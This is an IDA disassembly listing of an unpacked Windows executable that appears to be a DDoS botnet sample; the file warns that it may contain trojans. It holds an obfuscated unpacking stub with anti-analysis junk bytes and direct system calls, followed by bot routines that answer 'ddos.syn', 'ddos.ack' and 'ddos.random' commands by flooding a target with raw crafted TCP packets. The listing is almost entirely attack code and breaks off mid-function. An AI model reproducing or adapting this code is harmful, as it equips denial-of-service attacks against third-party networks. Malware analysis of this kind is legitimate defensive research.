;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0F86EF232A0F754B804B97A7B745B341

;
; The code at 400000..401000 is	hidden from normal disassembly
; and was loaded because the user ordered to load it explicitly
;
;  <<<<	IT MAY CONTAIN TROJAN HORSES, VIRUSES, AND DO HARMFUL THINGS >>>
;
;


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
HEADER		segment	page public 'DATA' use32
		assume cs:HEADER
		;org 400000h
		assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public __ImageBase

__ImageBase	proc near		; DATA XREF: sub_4197BC+3Eo
					; sub_4197BC:loc_419861r
		dec	ebp
		pop	edx
		nop
		jmp	short loc_400006
; ---------------------------------------------------------------------------
		align 2


loc_400006:				; CODE XREF: __ImageBase+3j
		push	edx
		jmp	loc_400195
; ---------------------------------------------------------------------------
		dd 4550h, 3014Ch, 3 dup(0)
		dd 30F00E0h, 10Bh, 5 dup(0)
		dd 0Ch,	400000h, 1000h,	200h, 1, 0
		dd 4, 0
		dd 88200h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 88000h, 1Fh dup(0)
		dd 6C000h, 1000h, 6C000h, 1000h, 3 dup(0)
		dd 0E0000060h, 2 dup(0)
		dd 1B000h, 6D000h, 1B000h, 6D000h, 3 dup(0)
		dd 0C0000040h, 6164692Eh, 326174h, 1000h, 88000h, 200h
		dd 88000h, 417972h, 47000000h, 72507465h, 0C0000040h, 73657264h
		dd 73h,	72695600h, 6C617574h, 746F7250h, 746365h
		db 0
; ---------------------------------------------------------------------------


loc_400195:				; CODE XREF: __ImageBase+7j
		jmp	short loc_400198
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400198:				; CODE XREF: __ImageBase:loc_400195j
		mov	eax, large fs:30h
		jmp	short loc_4001A1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001A1:				; CODE XREF: __ImageBase+19Ej
		mov	ecx, [eax+0Ch]
		jecxz	short loc_400215
		jmp	short loc_4001A9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001A9:				; CODE XREF: __ImageBase+1A6j
		add	eax, 0ACh
		jmp	short loc_4001B1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001B1:				; CODE XREF: __ImageBase+1AEj
		cmp	word ptr [eax],	893h
		jmp	short loc_4001B9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001B9:				; CODE XREF: __ImageBase+1B6j
		jnz	short loc_4001C5
		jmp	short loc_4001BE
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001BE:				; CODE XREF: __ImageBase+1BBj
		mov	eax, 0FFFFFF38h
		jmp	short loc_4001D9
; ---------------------------------------------------------------------------


loc_4001C5:				; CODE XREF: __ImageBase:loc_4001B9j
		jmp	short loc_4001C8
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001C8:				; CODE XREF: __ImageBase:loc_4001C5j
		cmp	word ptr [eax],	0A28h
		jnz	short loc_400219
		jmp	short loc_4001D2
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001D2:				; CODE XREF: __ImageBase+1CFj
		mov	eax, 0FFFFFF1Ah
		jmp	short $+2


loc_4001D9:				; CODE XREF: __ImageBase+1C3j
		jmp	short loc_4001DC
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001DC:				; CODE XREF: __ImageBase:loc_4001D9j
		xor	ecx, ecx
		jmp	short loc_4001E1
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E1:				; CODE XREF: __ImageBase+1DEj
		push	ecx
		jmp	short loc_4001E5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E5:				; CODE XREF: __ImageBase+1E2j
		push	ecx
		jmp	short loc_4001E9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001E9:				; CODE XREF: __ImageBase+1E6j
		push	11h
		jmp	short loc_4001EE
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001EE:				; CODE XREF: __ImageBase+1EBj
		push	0FFFFFFFEh
		jmp	short loc_4001F3
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4001F3:				; CODE XREF: __ImageBase+1F0j
		call	sub_4001FB
		jmp	short sub_4001FB
__ImageBase	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CDh

; =============== S U B	R O U T	I N E =======================================



sub_4001FB	proc near		; CODE XREF: __ImageBase:loc_4001F3p
					; __ImageBase+1F8j

arg_0		= byte ptr  4

		add	dword ptr [esp+0], 18h
		jmp	short loc_400202
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400202:				; CODE XREF: sub_4001FB+4j
		not	eax
		jmp	short loc_400207
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400207:				; CODE XREF: sub_4001FB+9j
		lea	edx, [esp+arg_0]
		jmp	short loc_40020E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40020E:				; CODE XREF: sub_4001FB+10j
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string
		add	esp, 14h
		jmp	short loc_400219
; ---------------------------------------------------------------------------


loc_400215:				; CODE XREF: __ImageBase+1A4j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_400219:				; CODE XREF: __ImageBase+1CDj
					; sub_4001FB+18j
		call	sub_400221
		jmp	short sub_400221
sub_4001FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CDh

; =============== S U B	R O U T	I N E =======================================



sub_400221	proc near		; CODE XREF: sub_4001FB:loc_400219p
					; sub_4001FB+23j
		pop	ebp
		jmp	short loc_400225
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400225:				; CODE XREF: sub_400221+1j
		lea	ebp, [ebp-21Eh]
		jmp	short loc_40022E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40022E:				; CODE XREF: sub_400221+Aj
		mov	ebx, [ebp+138h]
		jmp	short loc_400237
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400237:				; CODE XREF: sub_400221+13j
		add	ebx, ebp
		jmp	short loc_40023C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40023C:				; CODE XREF: sub_400221+18j
		lea	eax, [esp-4]
		jmp	short loc_400243
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400243:				; CODE XREF: sub_400221+1Fj
		push	eax
		jmp	short loc_400247
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400247:				; CODE XREF: sub_400221+23j
		push	4
		jmp	short loc_40024C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40024C:				; CODE XREF: sub_400221+28j
		push	1000h
		jmp	short loc_400254
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400254:				; CODE XREF: sub_400221+30j
		push	ebp
		jmp	short loc_400258
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400258:				; CODE XREF: sub_400221+34j
		call	dword ptr [ebx+30h]
		jmp	short loc_40025E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40025E:				; CODE XREF: sub_400221+3Aj
		mov	eax, 0
		jmp	short loc_400266
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400266:				; CODE XREF: sub_400221+42j
		mov	[ebp+94h], eax
		jmp	short loc_40026F
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40026F:				; CODE XREF: sub_400221+4Bj
		lea	esi, [ebx+50h]
		jmp	short loc_400278
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400278:				; CODE XREF: sub_400221+54j
		lea	edi, [ebp+1000h]
		jmp	short loc_400281
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400281:				; CODE XREF: sub_400221+5Dj
		call	sub_400355
		jmp	short loc_400289
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400289:				; CODE XREF: sub_400221+65j
		mov	esi, 22130h
		jmp	short loc_400291
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400291:				; CODE XREF: sub_400221+6Dj
		or	esi, esi
		jz	loc_400339
		add	esi, ebp


loc_40029B:				; CODE XREF: sub_400221+113j
		jmp	short loc_40029E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40029E:				; CODE XREF: sub_400221:loc_40029Bj
		mov	ecx, [esi+0Ch]
		jmp	short loc_4002A4
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002A4:				; CODE XREF: sub_400221+80j
		or	ecx, ecx
		jz	loc_400339
		jmp	short loc_4002AF
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002AF:				; CODE XREF: sub_400221+8Bj
		add	ecx, ebp
		jmp	short loc_4002B4
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002B4:				; CODE XREF: sub_400221+90j
		mov	edi, ecx
		jmp	short loc_4002B9
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002B9:				; CODE XREF: sub_400221+95j
		push	edi
		jmp	short loc_4002BD
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002BD:				; CODE XREF: sub_400221+99j
		call	dword ptr [ebx+28h]
		mov	edi, eax
		jmp	short loc_4002C5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002C5:				; CODE XREF: sub_400221+A1j
		mov	ecx, [esi]
		or	ecx, ecx
		jnz	short loc_4002CE
		mov	ecx, [esi+10h]


loc_4002CE:				; CODE XREF: sub_400221+A8j
		jecxz	short loc_40034B
		add	ecx, ebp
		jmp	short loc_4002D5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002D5:				; CODE XREF: sub_400221+B1j
		mov	edx, [esi+10h]
		jmp	short loc_4002DB
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002DB:				; CODE XREF: sub_400221+B7j
		add	edx, ebp


loc_4002DD:				; CODE XREF: sub_400221+10Ej
		jmp	short loc_4002E0
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002E0:				; CODE XREF: sub_400221:loc_4002DDj
		mov	eax, [ecx]
		jmp	short loc_4002E5
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002E5:				; CODE XREF: sub_400221+C1j
		or	eax, eax
		jz	short loc_400331
		jmp	short loc_4002EC
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002EC:				; CODE XREF: sub_400221+C8j
		test	eax, 80000000h
		jz	short loc_4002FD
		jmp	short loc_4002F6
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_4002F6:				; CODE XREF: sub_400221+D2j
		and	eax, 0FFFFh
		jmp	short loc_400308
; ---------------------------------------------------------------------------


loc_4002FD:				; CODE XREF: sub_400221+D0j
		add	eax, ebp
		jmp	short loc_400302
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400302:				; CODE XREF: sub_400221+DEj
		add	eax, 2
		jmp	short loc_400308
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400308:				; CODE XREF: sub_400221+DAj
					; sub_400221+E4j
		push	ecx
		push	edx
		jmp	short loc_40030D
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40030D:				; CODE XREF: sub_400221+E9j
		push	eax
		push	edi
		jmp	short loc_400312
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400312:				; CODE XREF: sub_400221+EEj
		call	dword ptr [ebx+2Ch]
		jmp	short loc_400318
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400318:				; CODE XREF: sub_400221+F4j
		pop	edx
		pop	ecx
		jmp	short loc_40031D
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40031D:				; CODE XREF: sub_400221+F9j
		or	eax, eax
		jz	short loc_40034B
		mov	[edx], eax
		jmp	short loc_400326
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400326:				; CODE XREF: sub_400221+102j
		add	ecx, 4
		jmp	short loc_40032C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40032C:				; CODE XREF: sub_400221+108j
		add	edx, 4
		jmp	short loc_4002DD
; ---------------------------------------------------------------------------


loc_400331:				; CODE XREF: sub_400221+C6j
		add	esi, 14h
		jmp	loc_40029B
; ---------------------------------------------------------------------------


loc_400339:				; CODE XREF: sub_400221+72j
					; sub_400221+85j
		jmp	short loc_40033C
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40033C:				; CODE XREF: sub_400221:loc_400339j
		mov	eax, ebp
		jmp	short loc_400341
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400341:				; CODE XREF: sub_400221+11Dj
		add	eax, 17B18h
		jmp	short loc_400349
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_400349:				; CODE XREF: sub_400221+125j
		jmp	eax
; ---------------------------------------------------------------------------


loc_40034B:				; CODE XREF: sub_400221:loc_4002CEj
					; sub_400221+FEj
		jmp	short loc_40034E
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40034E:				; CODE XREF: sub_400221:loc_40034Bj
		or	eax, 0FFFFFFFFh
		jmp	short locret_400354
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------

locret_400354:				; CODE XREF: sub_400221+130j
		retn
sub_400221	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_400355	proc near		; CODE XREF: sub_400221:loc_400281p

; FUNCTION CHUNK AT 004003ED SIZE 00000003 BYTES

		push	ebp
		push	ebx
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_40035C:				; CODE XREF: sub_400355+Fj
		movsb
		mov	bl, 2


loc_40035F:				; CODE XREF: sub_400355+34j
					; sub_400355+7Aj
		call	sub_4003D1
		jnb	short loc_40035C
		xor	ecx, ecx
		call	sub_4003D1
		jnb	short loc_40038B
		xor	eax, eax
		call	sub_4003D1
		jnb	short loc_40039B
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_40037D:				; CODE XREF: sub_400355+2Fj
		call	sub_4003D1
		adc	al, al
		jnb	short loc_40037D
		jnz	short loc_4003C7
		stosb
		jmp	short loc_40035F
; ---------------------------------------------------------------------------


loc_40038B:				; CODE XREF: sub_400355+18j
		call	sub_4003DD
		sub	ecx, ebx
		jnz	short loc_4003A4
		call	sub_4003DB
		jmp	short loc_4003C3
; ---------------------------------------------------------------------------


loc_40039B:				; CODE XREF: sub_400355+21j
		lodsb
		shr	eax, 1
		jz	short loc_4003ED
		adc	ecx, ecx
		jmp	short loc_4003C0
; ---------------------------------------------------------------------------


loc_4003A4:				; CODE XREF: sub_400355+3Dj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4003DB
		cmp	eax, 7D00h
		jnb	short loc_4003C0
		cmp	ah, 5
		jnb	short loc_4003C1
		cmp	eax, 7Fh
		ja	short loc_4003C2


loc_4003C0:				; CODE XREF: sub_400355+4Dj
					; sub_400355+5Fj
		inc	ecx


loc_4003C1:				; CODE XREF: sub_400355+64j
		inc	ecx


loc_4003C2:				; CODE XREF: sub_400355+69j
		xchg	eax, ebp


loc_4003C3:				; CODE XREF: sub_400355+44j
		mov	eax, ebp
		mov	bl, 1


loc_4003C7:				; CODE XREF: sub_400355+31j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_40035F
sub_400355	endp


; =============== S U B	R O U T	I N E =======================================



sub_4003D1	proc near		; CODE XREF: sub_400355:loc_40035Fp
					; sub_400355+13p ...
		add	dl, dl
		jnz	short locret_4003DA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4003DA:				; CODE XREF: sub_4003D1+2j
		retn
sub_4003D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4003DB	proc near		; CODE XREF: sub_400355+3Fp
					; sub_400355+55p
		xor	ecx, ecx
sub_4003DB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4003DD	proc near		; CODE XREF: sub_400355:loc_40038Bp
		inc	ecx


loc_4003DE:				; CODE XREF: sub_4003DD+Dj
		call	sub_4003D1
		adc	ecx, ecx
		call	sub_4003D1
		jb	short loc_4003DE
		retn
sub_4003DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_400355


loc_4003ED:				; CODE XREF: sub_400355+49j
		pop	ebx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_400355
; ---------------------------------------------------------------------------
		dd 4 dup(0)
		dd 300h	dup(?)
HEADER		ends

; File Name   :	u:\work\0f86ef232a0f754b804b97a7b745b341_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0006C000 ( 442368.)
; Section size in file		: 0006C000 ( 442368.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40CD3A+383Co

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E8
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_415316
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412BD1
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B078
		push	[ebp+var_290]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E8+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43C4CC
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013BB
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43C5F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013B3
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43C534
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013A9
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43C554
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43C554
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43C554
		mov	[ebp+var_12], ax
		call	sub_415372
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43C554
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43C550
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415372
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_415372
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43C554
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4157C0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2EEj
		mov	[ebp+var_4], bx
		call	sub_415372
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43C554
		mov	[ebp+var_14], ax
		call	sub_415372
		mov	edi, eax
		shl	edi, 10h
		call	sub_415372
		or	edi, eax
		push	edi
		call	dword_43C554
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43C550
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43C554
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43C5B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013BF
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013A6
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_401264


loc_4013A6:				; CODE XREF: sub_4010B2+2E0j
		mov	ebx, [ebp+arg_8]


loc_4013A9:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+334j
		push	[ebp+var_20]
		call	dword_43C5EC
		pop	esi


loc_4013B3:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43C4B4
		mov	eax, ebx


loc_4013BB:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4013BF:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_42308C
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B078
		add	esp, 10h
		jmp	short loc_4013A9
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E8	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409F7A
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41587F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41587F
		mov	edi, eax
		call	sub_415372
